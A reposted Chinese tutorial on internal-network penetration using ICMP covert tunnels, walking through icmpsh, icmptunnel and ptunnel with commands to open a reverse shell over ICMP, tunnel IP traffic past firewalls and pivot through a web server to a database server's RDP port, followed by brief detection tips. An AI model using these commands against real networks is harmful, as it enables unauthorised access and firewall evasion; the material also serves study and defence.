日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

內網滲透之ICMP隱藏隧道

內網滲透完成信息收集后,流量是否能夠正常進出,是內網滲透中需要考慮的地方之一

? ICMP(Internet ControllerMessages Protocol,網間控制報文協議)是TCP/IP協議族的子協議,是一種面向無連接的協議。用于在IP主機、路由器之間傳遞控制消息。

控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。

這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用。

? 參考文章:
https://baike.baidu.com/item/ICMP/572452?fr=kg_qa

? 在一些網絡環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道,DNS隧道,正反向端口轉發等)進行操作均失敗。

那么可以嘗試使用ICMP建立隧道,ICMP協議不需要端口的開放,因為其基于IP工作的

所以我們將其歸結到網絡層,ICMP消息最為常見的就是ping命令的回復

將TCP/UDP數據包封裝到ICMP的ping數據包中,從而穿過防火墻(通常防火墻是不會屏蔽ping數據包的)

建立ICMP隧道

? 用于建立ICMP隧道的工具一般用icmpsh,icmptunnel,ptunnel,icmpshell

工作原理

? 請求端的 Ping 工具通常會在 ICMP 數據包后面附加上一段隨機的數據作為 Payload

而響應端則會拷貝這段 Payload 到 ICMP 響應數據包中返還給請求端,用于識別和匹配 Ping 請求。

? windows 和 linux 系統下的 Ping 工具默認的 Payload 長度為 64 比特,但實際上協議允許附加最大 64K 大小的 Payload。

? 對于隧道數據,icmptunnel 首先會指定客戶端和服務器端。

隨后,客戶端會將 IP 幀封裝在 ICMP 請求數據包中發送給服務器,而服務器端則會使用相匹配的 ICMP 響應數據包進行回復。

這樣在旁人看來,網絡中傳播的僅僅只是正常的 ICMP 數據包。

icmpsh

? 工具安裝

git clone https://github.com/inquisb/icmpsh.git #下載工具

apt-get install Python-impacket #安裝依賴

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #關閉本地ICMP應答

icmpsh的使用場景如下:

內網滲透之ICMP隱藏隧道

 

? 服務器暴露在外網上,可以訪問外部網絡,但是服務上有防火墻,拒絕了敏感端口的連接(比如22端口,3389端口等)。

使用icmpsh的目的就是為了能夠繞過對敏感端口的限制,此時ICMP作為獲取反向shell的通道,進行反向shell.

?

攻擊者IP地址:    192.168.1.76
服務器IP地址:    192.168.1.113

? 被攻擊的服務器端運行

icmpsh.exe -t 192.168.1.76(攻擊者)
內網滲透之ICMP隱藏隧道

 

攻擊者端運行icmpsh的控制端

python icmpsh_m.py 192.168.1.76(攻擊者) 192.168.1.113(被攻擊者)
內網滲透之ICMP隱藏隧道

 

? 觀察wireshare的流量變化,可以看到這里是由192.168.1.113向192.168.1.76發出request請求,這里也就印證了這里進行的是反向shell。

內網滲透之ICMP隱藏隧道

 

icmptunnel

? icmptunnel的優勢在于可以穿過狀態防火墻或NAT

? 一些設備會過濾沒有匹配響應數據包的 Ping 包。

而在非對稱連接中,來自服務器端的流量會大于客戶端,反之亦然,這樣客戶端可能會丟棄一些相應數據包,因為響應數據包多余請求數據包。

? icmptunnel 有一個機制來專門解決這個問題。

客戶端會定期發送一個空的 ICMP 請求數據包給狀態防火墻或 NAT,而這些請求數據包都會被記錄在防火墻狀態表中。

同時通過保持發送帶有載體的數據包,這樣客戶端會維持一個可以用于服務器端發送數據的“數據包窗口”。

參考
:https://www.cnblogs.com/bonelee/p/7462218.html

? 安裝icmptunnel

git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make

? 可能會出現缺少頭文件的問題,參考文章
:https://blog.csdn.net/zhutingting0428/article/details/51120949

? 使用場景和icmpsh一樣(被攻擊對象為linux的情況下)

攻擊者IP:192.168.1.76
被攻擊者的IP:192.168.26

?

? 攻擊者開啟icmptunnel服務端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel –s
內網滲透之ICMP隱藏隧道

 

? 然后另開一個終端,執行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

? 指定一個網卡tun0,用于給隧道服務器端分配一個IP地址(10.0.0.1)

內網滲透之ICMP隱藏隧道

 

?

? 被攻擊者

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel 192.168.1.76
內網滲透之ICMP隱藏隧道

 

? 連接上攻擊者的icmptunnel服務端,然后再開一個終端,執行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

? 指定IP地址為10.0.0.2

內網滲透之ICMP隱藏隧道

 

? 此時建立了icmp隧道,在服務器端通過ssh連接被攻擊對象

 

內網滲透之ICMP隱藏隧道

 

ptunnel

? ptunnel就是工具pingtunnel

? 安裝過程如下:

#安裝libpcap的依賴環境
yum -y install byacc
yum -y install flex bison

#安裝libpcap依賴庫
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安裝PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

? 參考:
https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA

? 該工具在kali中是已經集成好的

? 現有場景如下:一個內網中,有一臺Web服務器,一臺數據庫服務器,Web服務器可以ping通過數據庫服務器,但是不能直接訪問數據庫服務器,已知數據庫服務器此時有開啟3389端口。

攻擊者的IP地址:192.168.1.107(win7)
攻擊者的VPS地址:192.168.1.76(kali)

web服務器的IP地址:192.168.1.26(外網)    172.168.1.16(內網)(kali)
數據庫服務器的IP地址:172.168.1.18(內網)(win server 2008)

?

? 在攻擊者的vps(192.168.1.76)中執行如下命令

ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
-p  跳板的公網IP
-lp 指定本機的監聽端口
-da 目標服務器的內網IP
-dp 指定目標服務器的端口
-x  為隧道寫一個隧道密碼,防止隧道濫用
內網滲透之ICMP隱藏隧道

 

?在Web服務器中執行命令

ptunnel -x cookie
內網滲透之ICMP隱藏隧道

 

在攻擊者的機器上訪問自己的vps的1080端口

內網滲透之ICMP隱藏隧道

 

? 可以看到我們雖然連接的是192.168.1.76

但是我們通過使用web服務器作為跳板,將vps的1080端口與數據庫服務器的3389端口連接在一起了。

內網滲透之ICMP隱藏隧道

 

? 觀察wireshark的流量變化情況

內網滲透之ICMP隱藏隧道

 

應對icmp隧道措施

使用icmp隧道時,會集中在某個時間點產生大量的icmp數據包,可以通過wireshark進行icmp數據包分析

? 1.檢測同源的icmp數據包數量,正常的ping命令每秒最多兩個數據包,隧道會產生大量的數據包。

? 2.注意payload大于64bit的ICMP數據包

? 3.尋找響應數據包和請求數據包payload不一致的ICMP數據包。

windows系統下ping默認傳輸的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系統下,ping默認傳輸的是48bytes,前8bytes隨時間變化,后面的固定不變,內容為!”#$%&’()+,-./01234567

? 參考
:https://www.freebuf.com/articles/network/202634.html

? 4.檢查ICMP數據包的協議標簽,比如icmptunnel會在所有icmp payload前面加上TUNL標識來標識隧道。

作者:餅干屑小鬼

轉載自:
https://xz.aliyun.com/t/7875

 

分享到:
標簽:內網 滲透
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定